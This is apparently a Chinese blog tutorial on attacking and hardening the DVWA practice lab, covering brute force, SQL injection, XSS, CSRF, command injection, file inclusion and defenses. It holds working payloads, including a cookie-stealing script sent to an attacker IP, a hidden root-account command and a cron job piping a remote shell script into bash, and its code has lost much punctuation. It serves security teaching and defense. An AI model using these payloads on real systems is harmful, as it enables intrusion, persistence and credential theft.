当前位置: 首页 > article >正文

DVWA 靶场实战:从零到一的 Web 安全攻防演练

1. DVWA靶场入门Web安全攻防演练环境搭建第一次接触DVWA时我花了两小时才把环境跑起来。这个用PHP/MySQL编写的漏洞演练平台简直是安全初学者的宝藏。下面分享我的踩坑经验帮你10分钟搞定环境搭建。核心组件准备PHP集成环境推荐phpStudy或XAMPPDVWA源码包GitHub官方版本浏览器建议ChromeBurp Suite组合具体操作步骤解压phpStudy到C:\phpStudy目录避免中文路径将DVWA源码放入WWW文件夹重命名为dvwa修改config/config.inc.php中的数据库密码$_DVWA[ db_password ] root; // 默认密码常见问题解决遇到PHP function allow_url_include disabled错误时修改php.iniallow_url_include On allow_url_fopen On数据库连接失败时检查MySQL服务是否启动实测发现PHP7.4版本可能兼容性问题建议使用PHP5.6-7.2版本2. 暴力破解实战从字典攻击到防御策略在Low安全级别下我用手工测试发现登录表单简直不设防。通过Burp抓包能看到原始请求GET /dvwa/vulnerabilities/brute/?usernameadminpassword123LoginLogin HTTP/1.1攻击三部曲使用Intruder模块加载rockyou.txt字典设置攻击类型为Cluster bomb添加密码字段为变量开始爆破Medium级别的防御开始有趣了——代码里增加了sleep(2)延迟if( $result mysqli_num_rows( $result ) 1 ) { // 登录成功逻辑 } else { sleep(2); // 增加爆破难度 echo 登录失败; }绕过技巧使用Python多线程脚本可以突破限制import requests from threading import Thread def brute_force(pwd): url http://靶机IP/dvwa/vulnerabilities/brute/ params {username:admin,password:pwd,Login:Login} cookies {security:medium,PHPSESSID:你的会话ID} r requests.get(url, paramsparams, cookiescookies) if Welcome in r.text: print(f成功破解密码{pwd})3. SQL注入深度剖析从显错注入到盲注在Low级别执行 and 11 --时我看到了完整的SQL报错信息。通过这个突破口可以获取数据库结构 union select 1,concat(table_name,:,column_name) from information_schema.columns where table_schemadatabase() --防御进化史Low级别直接拼接SQL语句Medium级别使用mysqli_real_escape_string过滤High级别增加预编译语句$data $db-prepare(SELECT * FROM users WHERE user (:user)); $data-bindParam(:user, $user, PDO::PARAM_STR); $data-execute();盲注实战技巧通过响应时间判断条件真假 AND IF(ASCII(SUBSTRING(database(),1,1))100,SLEEP(5),0) --4. 文件上传漏洞从webshell到权限维持在Low级别上传PHP文件时系统竟然直接保存了。我制作图片马的命令copy normal.jpg /b shell.php /b shell.jpg防御方案对比防御措施有效性绕过方法后缀名白名单★★★★☆%00截断文件头检测★★★☆☆制作合规图片马二次渲染★★★★★研究渲染算法缺陷随机重命名★★★★☆配合文件包含漏洞High级别的检测逻辑已经相当完善if( ( strtolower( $uploaded_ext ) jpg || ... ) ( $uploaded_size 100000 ) getimagesize( $uploaded_tmp ) ) { // 通过检测 }5. XSS攻击全场景反射型到DOM型实战存储型XSS的危害让我印象深刻——在留言板插入scriptnew Image().srchttp://攻击者IP/steal.php?cookiedocument.cookie/script防御方案演进Low级别直接输出用户输入Medium级别过滤script标签High级别使用正则表达式/(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/iImpossible级别全面HTML实体编码$name htmlspecialchars( $_GET[ name ], ENT_QUOTES );DOM型XSS的特殊之处在于完全前端执行这个POC成功绕过Medium防护#default/selectimg srcx onerroralert(1)6. CSRF漏洞利用从密码修改到转账攻击在Low级别构造恶意页面form actionhttp://靶机IP/dvwa/vulnerabilities/csrf/ methodGET input typehidden namepassword_new valuehacked input typehidden namepassword_conf valuehacked input typehidden nameChange valueChange input typesubmit value点击领红包 /form scriptdocument.forms[0].submit()/script防御方案对比表方案实现难度安全性验证Referer★★☆☆☆中随机Token★★★★☆高二次认证★★★★★极高Impossible级别的防御堪称教科书// 检查当前密码是否正确 $data $db-prepare(SELECT password FROM users WHERE user (:user)); $data-bindParam(:user, dvwaCurrentUser(), PDO::PARAM_STR); $data-execute();7. 命令注入实战从基础绕过到权限提升在Windows系统下这个Payload让我成功执行了系统命令127.0.0.1 | whoami多平台Payload大全Linux; cat /etc/passwd id $(uname -a)Windows ver | net user || tasklistHigh级别的过滤已经相当严格$substitutions array( , ; , | , // 注意|后有空格 - );8. 文件包含漏洞本地与远程包含实战当allow_url_include开启时这个远程包含让我直接拿到shellhttp://靶机IP/dvwa/vulnerabilities/fi/?pagehttp://攻击者IP/shell.txt防御方案演进Low级别无任何过滤Medium级别过滤../和http://High级别白名单限制file*开头Impossible级别固定文件名白名单使用PHP伪协议读取源码的技巧?pagephp://filter/convert.base64-encode/resourceconfig.inc.php9. 不安全的验证码逻辑漏洞的典型案例在Low级别我直接跳过验证码验证POST /dvwa/vulnerabilities/captcha/ HTTP/1.1 ... step2password_new123password_conf123ChangeChange验证码安全设计原则服务端状态保持一次性使用前端不可见验证逻辑验证结果不可预测Impossible级别的实现堪称完美$resp recaptcha_check_answer( $私钥, $_POST[g-recaptcha-response] ); if( !$resp || $data-rowCount() ! 1 ) { die(验证失败); }10. 弱会话ID从预测到劫持Medium级别使用时间戳作为Session ID这个Python脚本可以预测import time import requests timestamp int(time.time()) cookies {dvwaSession: str(timestamp), security:medium} r requests.get(http://靶机IP/dvwa/, cookiescookies)会话安全加固方案使用足够长度的随机数结合HMAC签名设置HttpOnly和Secure属性定期更换会话密钥Impossible级别的实现$cookie_value sha1(mt_rand() . time() . Impossible); setcookie(dvwaSession, $cookie_value, time()3600, /, , true, true);11. JavaScript攻击前端安全的最后防线分析High级别的混淆代码时我使用Chrome调试器逐步执行发现关键验证逻辑function do_elsesomething(e) { document.getElementById(token).value do_something( e document.getElementById(phrase).value XX ) }前端加密破解技巧使用浏览器调试器动态修改函数返回值Hook关键函数调用分析网络请求时序逆向加密算法12. 内容安全策略(CSP)绕过实战在Medium级别利用unsafe-inline策略执行脚本script nonceTmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXAalert(1)/scriptCSP最佳实践Content-Security-Policy: default-src none; script-src self https://cdn.example.com; style-src self unsafe-inline; img-src *; connect-src self; form-action self; frame-ancestors none;13. 综合渗透测试从信息收集到权限维持完整的渗透流程信息收集Whois、Nmap扫描漏洞探测Nikto、WPScan漏洞利用Metasploit、手工注入权限提升Linux内核漏洞、Windows服务漏洞痕迹清理删除日志、隐藏后门后门维持技巧创建隐藏账户useradd -o -u 0 -g 0 -s /bin/bash -d /root hacker定时任务维持*/5 * * * * curl http://攻击者IP/shell.sh | bash14. 防御体系构建从代码审计到WAF配置安全开发生命周期威胁建模STRIDE方法安全编码规范OWASP Top 10自动化扫描SonarQube人工代码审计渗透测试验证Nginx WAF配置示例location / { # SQL注入防护 if ($args ~* union.*select.*\() { return 403; } if ($args ~* sleep\(.*\)) { return 403; } # XSS防护 if ($args ~* script) { return 403; } if ($args ~* javascript:) { return 403; } }15. 漏洞修复方案从临时补丁到架构升级以SQL注入为例的修复路径紧急修复$id mysqli_real_escape_string($conn, $_GET[id]);中期方案$stmt $pdo-prepare(SELECT * FROM users WHERE id ?); $stmt-execute([$id]);长期方案启用ORM框架实施权限最小化原则部署RASP防护16. 安全监控与应急响应Linux系统监控命令示例# 检查异常进程 ps auxf | grep -v \[kworker\] # 检查隐藏文件 find / -name .* -type f -exec ls -la {} \; # 网络连接分析 netstat -antp | grep ESTABLISHEDWindows应急响应流程内存取证DumpIt进程分析Process Explorer注册表检查Autoruns日志分析Event Viewer17. 靶场进阶技巧从漏洞复现到漏洞挖掘在DVWA中实践漏洞挖掘修改安全级别为Impossible阅读源码寻找逻辑缺陷尝试绕过最新防御措施编写自定义Fuzz测试用例PHP代码审计常见危险函数// 文件操作类 fopen(), file_get_contents(), include() // 命令执行类 system(), exec(), passthru() // 数据库操作类 mysql_query(), mysqli_query()18. 法律与道德规范白帽黑客的自我修养渗透测试授权书必备条款测试范围IP/域名、时间窗口禁止行为DDoS、数据篡改报告要求漏洞详情、修复建议保密协议漏洞披露流程安全研究红线未经授权不得测试非自有系统发现漏洞及时报告不利用敏感数据立即删除不保存遵守《网络安全法》相关规定19. 自动化工具链搭建从单点到流水线我的安全工具组合信息收集Amass Subfinder漏洞扫描Nuclei Xray渗透测试Burp Suite Pro Metasploit后渗透Cobalt StrikeCI/CD集成示例GitLab CIstages: - test - deploy sast: stage: test image: owasp/zap2docker-stable script: - zap-baseline.py -t $URL -r report.html artifacts: paths: [report.html]20. 从靶场到实战企业级安全体系建设企业安全架构核心要素----------------------- | 安全运营中心 | | (SOC/NOC) | ---------------------- | -----------v----------- | 边界防护 (WAF/防火墙) | ---------------------- | -----------v----------- | 主机安全 (HIDS/EDR) | ---------------------- | -----------v----------- | 应用安全 (SAST/DAST) | ---------------------- | -----------v----------- | 数据安全 (加密/脱敏) | -----------------------安全团队建设建议红队专职渗透测试蓝队安全运维与应急响应紫队红蓝对抗演练安全开发SDL实施在真实企业环境中我建议采用分层防御策略。比如在Web层部署WAF的同时在主机层安装HIDS在网络层配置IDS/IPS形成立体防护体系。定期进行红蓝对抗演练持续优化安全策略才能有效应对日益复杂的网络威胁。

相关文章:

DVWA 靶场实战:从零到一的 Web 安全攻防演练

1. DVWA靶场入门:Web安全攻防演练环境搭建 第一次接触DVWA时,我花了两小时才把环境跑起来。这个用PHP/MySQL编写的漏洞演练平台,简直是安全初学者的宝藏。下面分享我的踩坑经验,帮你10分钟搞定环境搭建。 核心组件准备&#xff1a…...

网络工程师实战:用iperf3做企业级网络质量检测(TCP/UDP全参数解析)

网络工程师实战:用iperf3做企业级网络质量检测(TCP/UDP全参数解析) 当企业网络出现视频会议卡顿、文件传输缓慢或云服务延迟时,传统的ping和traceroute往往只能给出"网络有问题"的模糊结论。作为网络工程师,…...

百川2-13B-4bits镜像免配置价值:省去Linux系统级CUDA驱动校验、Python虚拟环境创建等前置步骤

百川2-13B-4bits镜像免配置价值:省去Linux系统级CUDA驱动校验、Python虚拟环境创建等前置步骤 1. 引言:当大模型部署不再“劝退” 如果你曾经尝试在本地部署一个百亿参数级别的大语言模型,大概率会经历这样的“劝退”流程: 检查…...

算法对决:排序遍历 vs 分治法——谁才是众数查找的性能王者?

算法对决:排序遍历 vs 分治法——谁才是众数查找的性能王者? 在数据处理领域,众数查找是一个经典问题。面对百万级甚至更大规模的数据集时,算法选择直接影响系统性能。本文将深入剖析两种主流方法——排序遍历法和分治法&#xff…...

保姆级教程:使用SuperMap iClient for OpenLayers加载超图服务的完整流程(含坐标系转换技巧)

SuperMap iClient与OpenLayers融合开发实战:从坐标系原理到地图服务加载 当你第一次尝试将SuperMap的地图服务集成到OpenLayers项目中时,可能会被各种专业术语和坐标系问题搞得晕头转向。作为GIS开发领域的黄金组合,SuperMap iClient for Ope…...

MinIO纠删码EC策略怎么选?从数据安全与成本角度深度解析EC:2与EC:3

MinIO纠删码策略选型指南:EC:2与EC:3的深度权衡 在分布式存储系统的设计与运维中,数据安全与存储成本的平衡始终是架构师面临的核心挑战。MinIO作为高性能对象存储的代表,其纠删码(Erasure Coding,EC)机制提…...

Nanbeige 4.1-3B惊艳案例分享:学生用像素贤者终端完成编程作业与故事创作

Nanbeige 4.1-3B惊艳案例分享:学生用像素贤者终端完成编程作业与故事创作 1. 像素冒险终端的独特魅力 1.1 打破常规的交互体验 Nanbeige 4.1-3B像素冒险聊天终端彻底改变了传统AI对话界面的刻板印象。这款采用JRPG风格设计的终端,将枯燥的编程和写作任…...

智能旅行箱嵌入式系统设计:STM32多传感器融合与边缘智能实现

1. 项目概述1.1 设计动因与系统定位传统旅行箱长期停留在纯机械结构阶段,仅提供基础储运功能。在差旅频次提升、行李遗失风险加剧、机场限重政策趋严的现实背景下,用户对行李装备提出了三重刚性需求:物理防盗的可靠性、状态感知的实时性、人机…...

探索2024CUPT尺子把戏中的Comsol仿真模拟

2024cupt尺子把戏comsol仿真模拟在2024CUPT的众多有趣课题中,“尺子把戏”这一项目吸引了不少人的目光。借助Comsol这样强大的仿真模拟软件,我们可以深入剖析这一现象背后的物理原理。 “尺子把戏”现象简述 想象一把尺子,一端固定在桌面上&a…...

嵌入式C语言错误处理五大核心技术与工程实践

1. 嵌入式系统错误处理的工程实践体系嵌入式软件开发与通用计算平台存在本质差异:资源受限、实时性要求高、可靠性为第一优先级、缺乏完善的运行时环境支持。在裸机或轻量级RTOS环境下,C语言作为主流开发语言,其错误处理机制必须兼顾确定性、…...

Buck - Boost双向DC - DC电源学习资料大揭秘

Buck-Boost双向DC-DC电源整套学习资料 功能:采用STM32F334C8T6芯片,能够根据输入电压和输出电压的大小关系,实现自动切换工作模式,将参数信息进行显示,并且可以实现稳压输出。 程序仿真硬件软件说明报告原理图计算书等…...

基于Qt的轻量级串口调试助手设计与实现

1. 项目概述串口通信作为嵌入式系统中最基础、最可靠的物理层数据交互方式,至今仍是硬件调试、固件升级、传感器数据采集等场景的首选方案。在实际开发过程中,工程师需要频繁验证单片机与上位机之间的协议一致性、时序容错性及数据完整性。尽管市面上存在…...

达摩院PALM模型春联应用:春联生成模型-中文-base案例展示

达摩院PALM模型春联应用:春联生成模型-中文-base案例展示 1. 传统习俗遇上AI技术 春节贴春联是中国传统文化中不可或缺的一部分。一副好的春联不仅需要工整对仗、平仄协调,还要蕴含美好的祝福寓意。然而,创作一副既符合规范又富有新意的春联…...

ZYNQ平台AXI DMA传输避坑指南:如何快速定位‘errors:200‘等中断故障

ZYNQ平台AXI DMA故障诊断实战:从寄存器解析到压力测试的完整解决方案 1. 深入理解AXI DMA中断机制与错误分类 在ZYNQ平台上,AXI DMA作为PL与PS之间高速数据传输的核心引擎,其稳定性直接影响系统性能。但开发者常被突如其来的中断故障困扰&…...

游戏开发者必看:如何用FairGuard方案彻底防御Cheat Engine内存修改(附实战案例)

游戏安全防护实战:从原理到对抗Cheat Engine的完整解决方案 在游戏行业蓬勃发展的今天,安全问题已成为开发者面临的最大挑战之一。作为游戏开发者,我们投入大量心血打造的游戏世界,常常因为外挂工具的入侵而遭受破坏。其中&#x…...

Kubernetes上部署VASTBASE G100的实战教程:StatefulSet与持久化存储配置

Kubernetes上部署VASTBASE G100的实战教程:StatefulSet与持久化存储配置 在云原生技术席卷企业IT基础设施的今天,数据库作为核心业务组件,其部署方式正经历着从传统物理机到容器化编排的历史性转变。VASTBASE G100作为国产高性能数据库的代表…...

STM32 + MQTT 实战:从零构建工业级物联网设备通信框架

1. 为什么选择STM32MQTT构建工业物联网通信框架 第一次接触工业物联网项目时,我踩过一个典型的技术选型坑——用HTTP协议做设备通信。当时在某个环境监测项目中,设备每隔5秒上报一次温湿度数据,结果网络稍有波动就会导致数据堆积,…...

Qwen3-0.6B-FP8处理操作系统相关问答:从安装到故障排查

Qwen3-0.6B-FP8处理操作系统相关问答:从安装到故障排查 你有没有遇到过电脑突然蓝屏,屏幕上显示一堆看不懂的代码?或者想给电脑装个新系统,看着网上五花八门的教程却不知道从哪下手?又或者,某个软件突然打…...

Qwen2.5-7B-Instruct应用实战:智能客服、代码助手、创作伙伴搭建

Qwen2.5-7B-Instruct应用实战:智能客服、代码助手、创作伙伴搭建 1. 项目概述 Qwen2.5-7B-Instruct是阿里通义千问团队推出的旗舰级大语言模型,拥有70亿参数规模,在18T tokens数据上进行了预训练和指令微调。相比轻量级版本,7B参…...

libsodium-esphome:ESP32/ESP8266上的Noise协议轻量密码库

1. libsodium-esphome:面向ESPHome生态的轻量化密码学库移植1.1 项目定位与工程动因libsodium-esphome并非一个独立密码学实现,而是对成熟工业级密码库libsodium 1.0.18的精准裁剪与嵌入式适配。其核心目标明确:为 ESPHome 固件提供最小可行、…...

从零开始:DW_apb_uart的RS485模式配置与调试全流程

DW_apb_uart RS485工业通信实战:从寄存器配置到总线调试的深度解析 在工业自动化领域,RS485总线因其抗干扰能力强、传输距离远等优势,成为设备间通信的首选方案。DW_apb_uart作为一款高度可配置的通用异步收发器,其RS485模式支持为…...

CentOS 7单机伪集群部署DolphinScheduler 3.2.2:从零搭建可视化调度平台

1. 环境准备:打造DolphinScheduler的温床 在CentOS 7上部署DolphinScheduler伪集群,就像给新房子打地基。我遇到过不少初学者在环境配置阶段就翻车,最常见的就是JDK版本不对或者数据库权限没开。咱们先从最基础的开始,把地基打牢。…...

跨语言自动化:Qwen3-32B多语言支持在OpenClaw中的应用

跨语言自动化:Qwen3-32B多语言支持在OpenClaw中的应用 1. 为什么需要多语言自动化助手 作为一个经常需要处理多语言内容的开发者,我一直在寻找能够真正理解并执行混合语言指令的自动化工具。传统的自动化脚本往往只能处理单一语言场景,当遇…...

QPST进阶玩法:不刷全包也能升级系统!用引导文件单独写入vendor分区实测

QPST高阶应用:精准分区更新技术解析与实战指南 在Android设备维护领域,全量刷机包动辄数GB的体积常常让技术爱好者们头疼——尤其是当你只需要更新基带或驱动等特定组件时。传统线刷方式不仅耗时耗力,还存在用户数据丢失的风险。本文将深入探…...

脑影像预测新工具 | NBS-Predict:融合脑网络与机器学习的智能诊断方案

1. NBS-Predict是什么?为什么它值得关注? 想象你是一位神经科医生,每天要面对几十张复杂的大脑扫描影像。传统诊断就像在迷宫里摸黑前行——依赖经验、容易漏诊、耗时费力。而NBS-Predict就像给你装上了夜视仪导航仪的组合装备,它…...

VSCode远程开发Qwen3-ForcedAligner-0.6B:Linux服务器调试全攻略

VSCode远程开发Qwen3-ForcedAligner-0.6B:Linux服务器调试全攻略 用VSCode远程连接Linux服务器,让语音文本对齐开发变得简单高效 你是否曾经遇到过这样的情况:在本地电脑上开发语音处理应用,但硬件性能跟不上,跑个模型…...

本科毕业论文 AI 写作新范式:Paperzz 4 步智能写作系统,解锁毕业高效新体验

Paperzz-AI官网免费论文查重复率AIGC检测/开题报告/文献综述/论文初稿paperzz - 毕业论文-AIGC论文检测-AI智能降重-ai智能写作https://www.paperzz.cc/dissertation 一、本科毕业论文的写作困局与破局 本科毕业论文是大学学业的收官之作,却也是无数学生的 “毕业拦…...

本科毕业论文 AI 写作新范式:Paperzz,让 12000 字本科论文高效落地

Paperzz-AI官网免费论文查重复率AIGC检测/开题报告/文献综述/论文初稿paperzz - 毕业论文-AIGC论文检测-AI智能降重-ai智能写作https://www.paperzz.cc/dissertation 一、开篇:本科毕业论文,不止是毕业门槛,更是学术成长的第一站 对于每一位…...

Nanbeige 4.1-3B部署教程:使用Cloudflare Tunnel安全暴露本地像素终端

Nanbeige 4.1-3B部署教程:使用Cloudflare Tunnel安全暴露本地像素终端 1. 项目介绍 Nanbeige 4.1-3B像素冒险聊天终端是一款为Nanbeige大模型量身定制的特殊交互界面。它采用复古像素游戏风格设计,将AI对话体验转化为一场视觉化的冒险旅程。 1.1 核心…...

本科毕业论文写作全指南:Paperzz 智能写作工具,让毕业创作从 “卡壳” 到 “通关”

Paperzz-AI官网免费论文查重复率AIGC检测/开题报告/文献综述/论文初稿paperzz - 毕业论文-AIGC论文检测-AI智能降重-ai智能写作https://www.paperzz.cc/dissertation 一、本科毕业季的写作困境:被毕业论文困住的青春 每到毕业季,大学校园里都弥漫着一种…...